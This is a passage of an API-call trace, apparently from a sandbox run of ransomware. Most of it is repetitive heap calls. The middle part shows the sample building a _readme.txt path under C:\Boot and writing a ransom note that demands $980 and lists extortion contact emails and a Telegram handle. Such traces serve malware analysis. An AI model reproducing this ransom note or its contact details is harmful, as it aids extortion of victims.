hHeap=0x640000) returned 1 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.177] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.179] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.179] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.181] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.181] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0266.181] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.181] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.181] PathFindFileNameW (pszPath="") returned="" [0266.181] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.181] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.182] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.182] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.182] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0266.182] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.182] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0266.182] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.182] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.182] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.182] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.182] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.183] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.183] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.183] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.183] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.183] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.186] HeapFree (in: hHeap=0x640000, 